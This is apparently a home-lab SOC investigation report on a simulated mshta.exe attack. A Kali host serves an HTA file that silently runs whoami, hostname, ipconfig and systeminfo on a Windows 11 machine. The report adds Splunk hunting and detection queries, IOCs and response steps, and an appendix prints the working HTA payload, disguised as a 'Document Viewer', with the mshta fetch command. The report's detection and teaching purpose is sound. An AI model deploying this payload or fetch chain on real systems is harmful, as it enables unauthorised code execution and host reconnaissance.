

SOC Investigation Report — MSHTA Remote HTA Execution & Discovery Chain

Field	Value
Case ID	SOC-LAB-2026-0712-MSHTA
Analyst	Edwin Dominic
Victim Host	WIN-11
User Account	WIN-11\socadmin
Attacker-Simulated Host	Kali Linux — 192.168.56.107 (Python HTTP server, port 80)
Data Source	Sysmon (Operational log) → Splunk; Kali HTTP access log
Date of Activity	2026-07-12 (15:17:56 – 15:18:13 UTC)
Alert Triggered	<i>Suspicious LOLBin Activity – MSHTA Remote HTA Execution</i>
Severity (Investigated)	High (Simulated) — Confirmed Benign Lab Activity
Technique Risk Rating	High — common real-world initial-access + rapid discovery pattern

1. Objective

Detect and investigate abuse of `mshta.exe` (Microsoft HTML Application Host) to retrieve and execute a remote HTML Application (HTA) file — a well-documented LOLBin technique (MITRE T1218.005) that lets an attacker run VBScript/JScript with full Windows Script Host object access while evading application allow-listing. The goal was to reconstruct the full chain from initial execution through post-execution discovery activity, and to establish confidence in the network-retrieval step even where host telemetry was incomplete.

2. Attack Scenario & Verdict

From an interactive `cmd.exe` session, `socadmin` executed `mshta.exe` against a URL hosted on a Kali Linux HTTP server on the lab network (192.168.56.107). The HTA was retrieved, cached locally, and executed a JScript payload that silently launched a hidden `cmd.exe` process chaining four discovery commands (`whoami`, `hostname`, `ipconfig /all`, `systeminfo`).

Verdict: Confirmed benign — controlled simulation. Both the attacker-simulated Kali host and the victim Windows 11 host were fully controlled by the analyst for lab purposes. No real intrusion occurred. The telemetry generated is representative of real-world MSHTA-based initial access followed by post-exploitation discovery.

3. Initial Detection

Query: `index=sysmon EventCode=1 Image="*\mshta.exe"`

Finding

`mshta.exe` (PID 6012) was launched by `cmd.exe` (PID 1352) at Medium integrity, with the command line:

```
mshta.exe http://192.168.56.107/payload.hta
```

ProcessGuid {5e3f58db-b033-6a53-8f01-000000002300} was used to correlate all subsequent evidence.

4. Initial Assessment — Why the Activity Was Flagged

Indicator	Detail
Remote URL in command line	mshta.exe invoked directly against an external HTTP URL rather than a local .hta file — bypasses browser download protections since mshta.exe fetches and executes content directly
Non-standard hosting	HTA served from a LAN IP (192.168.56.107), not an internal file share or trusted source
Rapid child-process spawn	mshta.exe spawned a new cmd.exe ~1.3 seconds after the HTA was cached — the signature of a script using WScript.Shell/ActiveXObject to break out of the HTA sandbox into native command execution
Chained discovery commands	The spawned cmd.exe immediately issued four reconnaissance commands, consistent with adversary post-execution situational-awareness behavior

5. HTA Retrieval & Caching Investigation

Query : index=sysmon EventCode=11 ProcessGuid="{5e3f58db-b033-6a53-8f01-000000002300}"

Finding

mshta.exe wrote payload[1].hta to the IE INetCache directory at 15:18:12.305 UTC, confirming the remote HTA was successfully retrieved and staged locally prior to execution.

6. Network Activity — Missing Event ID 3

Query: index=sysmon EventCode=3 ProcessGuid="{5e3f58db-b033-6a53-8f01-000000002300}"

Finding

No Sysmon **Event ID 3 (Network Connection)** was generated for **mshta.exe** during this activity. However, the absence of host-based network telemetry did not prevent confirmation of the remote HTA retrieval.

The network activity was independently corroborated using three evidence sources:

1. The **mshta.exe** command line explicitly referenced the remote URL:
2. http://192.168.56.107/payload.hta
3. The Kali Linux HTTP server access log recorded a successful **GET /payload.hta** request with a **200 OK** response from the victim host.
4. Sysmon **Event ID 11** confirmed that **payload.hta** was written to the Windows **INetCache** directory immediately after the HTTP request, demonstrating successful retrieval and local caching.

These independent artifacts provide high confidence that the HTA file was successfully downloaded and executed despite the absence of Event ID 3.

Explanations account for the missing network event:

1. **Platform-specific behavior:** During testing on Windows 11 24H2, several WinINet-based clients—including **mshta.exe**, **certutil.exe**, and **curl.exe**—did not consistently generate Sysmon Event ID 3, while PowerShell network activity was logged as expected.
2. **Sysmon NetworkConnect filtering:** Many production Sysmon configurations intentionally exclude common outbound ports such as **80** and **443** from NetworkConnect monitoring to reduce log volume. If such filtering is present, HTTP-based MSHTA traffic may not generate Event ID 3 despite successful network communication.

From a detection engineering perspective, **Event ID 3 should be treated as supplemental telemetry rather than a primary detection requirement**. Reliable detection of MSHTA abuse can be achieved by correlating **process creation (Event ID 1)**, **file creation (Event ID 11)**, command-line evidence, and external network telemetry such as proxy, firewall, or web server logs.

7. Child Process & Discovery Activity Investigation

Query: `index=sysmon ParentProcessGuid="{5e3f58db-b033-6a53-8f01-00000000}"`

Finding

`mshta.exe` spawned `cmd.exe` (PID 10120) executing `whoami && hostname && ipconfig /all && systeminfo`, matching the JScript payload's `shell.Run()` call (run hidden, window style 0). This `cmd.exe` instance then spawned four discrete child processes — `whoami.exe`, `hostname.exe`, `ipconfig.exe`, `systeminfo.exe` — each completing within roughly half a second of the previous one.

8. Attack Chain

```
explorer.exe
├─ cmd.exe (Interactive Session)
│   └─ mshta.exe http://192.168.56.107/payload.hta
│       │
│       └─ HTTP GET /payload.hta
│           │
│           └─ Kali Linux HTTP Server (192.168.56.107)
│               │
│               └─ payload.hta cached to INetCache (Sysmon Event ID 11)
│                   │
│                   └─ cmd.exe /c "whoami && hostname && ipconfig /all && systeminfo"
│                       │
│                       └─ whoami.exe
│                           │
│                           └─ hostname.exe
│                               │
│                               └─ ipconfig.exe
│                                   │
│                                   └─ systeminfo.exe
```

9. Timeline Reconstruction (UTC)

Time	Activity
15:17:56.681	explorer.exe spawns interactive cmd.exe (PID 1352)
15:18:11.173	cmd.exe launches mshta.exe against the remote HTA URL
15:18:12.305	payload.hta cached to INetCache
15:18:12.478	mshta.exe spawns cmd.exe (PID 10120) with chained discovery command
15:18:12.661	whoami.exe executes
15:18:12.715	hostname.exe executes
15:18:12.756	ipconfig.exe executes
15:18:13.083	systeminfo.exe executes

Total elapsed time from HTA execution to discovery completion: ~2 seconds.

10. MITRE ATT&CK Mapping

Tactic	Technique	ID	Evidence
Execution	System Binary Proxy Execution: Mshta	T1218.005	mshta.exe retrieved and executed a remote HTA
Execution	Command and Scripting Interpreter: Windows Command Shell	T1059.003	HTA spawned cmd.exe with chained commands
Discovery	System Owner/User Discovery	T1033	whoami.exe
Discovery	System Information Discovery	T1082	hostname.exe, systeminfo.exe
Discovery	System Network Configuration Discovery	T1016	ipconfig.exe

11. Indicators of Compromise (IOC)

Host Indicators

Type	Value
Hostname	win-11
User	WIN-11\socadmin
Initiating process	cmd.exe (PID 1352), parented by explorer.exe

Process Indicators

Process	PID	Parent	SHA256
cmd.exe	1352 / 10120	explorer.exe / mshta.exe	65C9EC61A5B10E7EEC76A7A96176 6B86BB93604EF18C5D1FE8AC53B4 E53EF17A
mshta.exe	6012	cmd.exe (1352)	1F1AABE87E5E93A8FFF769BF3614 DD559C51C80FC045E11868F3843D9 A004D1E
whoami.exe	7052	cmd.exe (10120)	23240EF9F8B0A9A324110B1C2331D E31DC1B0E08F5359CB707E51A939 AF56CD3
hostname.exe	3412	cmd.exe (10120)	8FF283FB7A282A9B2B30235016669 DFE795665BCBB254FD17AC31FA93 08D89D9
ipconfig.exe	8640	cmd.exe (10120)	0EF3D41FCD0F857F111098912613D4 1E470A3DA151A4D39D28ACF0A88 C48FF02
systeminfo.exe	8964	cmd.exe (10120)	A220A85750588F5B231FF8CB106BA 5409EAABB85E3DD7278A98FCA907 E171ED2

Network Indicators

Value	Role
192.168.56.107:80	Attacker-simulated HTTP host serving /payload.hta (Python http.server) — confirmed via Kali access log, not Sysmon Event ID 3 (see Section 6)

File Indicators

Path	Note
C:\Users\socadmin\AppData\Local\Microsoft\Windows\INetCache\IE\4P3IS45J\payload[1].hta	Cached HTA retrieved by mshta.exe

12. Threat Assessment

mshta.exe abuse for remote HTA execution is a long-standing initial-access technique, frequently seen in phishing campaigns (malicious HTA attachments or links) because mshta.exe is signed, trusted by default, and can execute VBScript/JScript with full WSH object access (WScript.Shell, ActiveXObject) — allowing it to break out of the script sandbox into native command execution without ever writing a traditional executable to disk. The chained discovery commands (whoami/hostname/ipconfig/systeminfo) observed here are a common early-stage adversary

behavior used to fingerprint a newly compromised host before deciding on next steps such as lateral movement or payload staging.

13. Splunk Threat Hunting & Correlation Queries

Identify MSHTA Remote Execution

```
index=sysmon EventCode=1 Image="*\\mshta.exe"
| search CommandLine="*http*"
| table _time Computer User ParentImage Image CommandLine ProcessGuid
```

Purpose: Identifies `mshta.exe` executions referencing a remote URL — the defining indicator of this technique, environment-wide.

Correlate Process Lineage

```
index=sysmon (ProcessGuid="{5e3f58db-b033-6a53-8f01-000000002300}" OR
ParentProcessGuid="{5e3f58db-b033-6a53-8f01-000000002300}")
| sort _time
| table _time EventCode Image ParentImage ProcessGuid ParentProcessGuid
CommandLine
```

Purpose: Reconstructs the full execution chain from `mshta.exe` through all descendant processes in one pass.

Hunt for Dropped HTA Files

```
index=sysmon EventCode=11 TargetFilename="*.hta"
| table _time Computer Image TargetFilename ProcessGuid
```

Purpose: Surfaces any HTA file writes across the environment — HTA delivery is uncommon in legitimate business workflows.

Hunt for MSHTA-Spawned Processes

```
index=sysmon EventCode=1 ParentImage="*\\mshta.exe"
| table _time ParentImage Image CommandLine ProcessGuid IntegrityLevel User
```

Purpose: Identifies any process spawned directly by `mshta.exe` — the key pivot point from script execution to native command execution.

Reconstruct the Full Timeline

```
index=sysmon (ProcessGuid="{5e3f58db-b024-6a53-8001-000000002300}" OR
ParentProcessGuid="{5e3f58db-b024-6a53-8001-000000002300}")
| sort _time
| table _time EventCode Image ParentImage CommandLine
```

Purpose: Produces a single chronological view of the entire chain, rooted at the initial interactive `cmd.exe` session — the export-ready version of Section 9's timeline.

14. Detection Engineering

Monitoring coverage — this activity is reliably detectable by alerting on:

- `mshta.exe` executed with a command line containing `http://` or `https://`
- `mshta.exe` spawning any child process (`cmd.exe`, `powershell.exe`, `wscript.exe`, `rundll32.exe`)
- `.hta` file writes to `INetCache` or any user-writable directory
- Discovery command chains (`whoami/hostname/ipconfig/systeminfo`) executed within seconds of a LOLBin-spawned shell
- Detection logic for this technique should pair process/command-line/file evidence with proxy or firewall network logs rather than relying on host-based network telemetry alone (see Section 6)

Actionable rule specs:

1. **Correlation rule:** alert when an `mshta.exe` command line matches a URL pattern, regardless of network telemetry availability.
2. **Child-process rule:** flag any process spawned by `mshta.exe` as high-priority — it has no legitimate business reason to launch `cmd.exe`, `powershell.exe`, or `wscript.exe` in most environments.
3. **Behavioral rule:** flag rapid sequential execution of `whoami.exe`, `hostname.exe`, `ipconfig.exe`, and `systeminfo.exe` under a shared parent within a short window — a strong discovery-phase indicator regardless of the parent process.
4. **Sysmon config review:** audit the `NetworkConnect` (Event ID 3) filter for blanket exclusions of ports 80/443. If present for noise reduction, scope the exclusion to known-trusted processes/destinations rather than excluding the ports outright — as observed in Section 6, a blanket port exclusion is a viable blind spot an attacker can deliberately use to evade network-connection telemetry.

Detection Engineering Queries — operationalized, alertable versions of the hunting queries above:

Detect MSHTA Remote URL Execution (scheduled alert)

```
index=sysmon EventCode=1 Image="*\\mshta.exe" CommandLine="*http*"
| stats count min(_time) as first_seen by Computer User CommandLine
```

Deploy as a correlation search with an alert action — legitimate `mshta.exe` usage referencing a remote URL is rare enough to alert on directly.

Detect MSHTA Spawning a Child Process

```
index=sysmon EventCode=1 ParentImage="*\\mshta.exe"
| stats count by Computer ParentImage Image CommandLine
```

Detect Rapid Discovery Command Chain

```
index=sysmon EventCode=1 (Image="*\\whoami.exe" OR Image="*\\hostname.exe" OR
Image="*\\ipconfig.exe" OR Image="*\\systeminfo.exe")
| stats dc(Image) as distinct_tools values(Image) as tools by Computer
ParentProcessGuid _time span=10s
| where distinct_tools >= 3
```

Purpose: Flags when three or more discovery utilities run under the same parent within a 10-second window, independent of what launched them.

15. Recommended Response Actions

1. **Isolate** the affected host to prevent further script execution or exfiltration of discovery output.
 2. **Kill the process tree** rooted at `mshta.exe`.
 3. **Block** the hosting IP/domain at the proxy/firewall.
 4. **Preserve** the cached `.hta` file and INetCache directory for static analysis.
 5. **Review** subsequent EDR telemetry for activity following the discovery commands — the natural next step after reconnaissance is typically lateral movement or payload staging.
 6. **Submit** the `.hta` file hash and content to the EDR/AV vendor and internal threat intel platform.
-

16. Conclusion

This investigation reconstructed a complete MSHTA-based execution chain — `mshta.exe` → `payload.hta` → `cmd.exe` → `discovery utilities` — from an interactive user session through to system reconnaissance, in under two seconds end to end. Every stage was correlated through ProcessGuid in Splunk, and the one telemetry gap encountered (missing Sysmon Event ID 3) was resolved through independent corroboration rather than treated as a blocker, using the command line, file-creation artifact, and Kali's own access log to establish the network-retrieval finding with high confidence.

The activity was conclusively attributed to a controlled simulation across two analyst-owned hosts. The resulting telemetry, hunting queries, and detection logic above map cleanly to MITRE T1218.005 and its associated discovery techniques, and form a validated, reusable dataset spanning investigation, threat hunting, and detection engineering.

Appendix: Payload Source (`payload.hta`)

```
<html>
<head>
<title>Document Viewer</title>
<HTA:APPLICATION
  APPLICATIONNAME="MSHTA Lab"
  BORDER="none"
  SHOWINTASKBAR="no"
  SINGLEINSTANCE="yes"
  WINDOWSTATE="minimize">
<script language="javascript">
var shell = new ActiveXObject("WScript.Shell");
shell.Run(
'cmd.exe /c "whoami && hostname && ipconfig /all && systeminfo"',
0,
false
);
window.close();
</script>
</head>
<body></body>
</html>
```

Hosted via `python3 -m http.server 80` on Kali Linux (192.168.56.107) and retrieved with `mshta.exe http://192.168.56.107/payload.hta` on the Windows 11 victim host.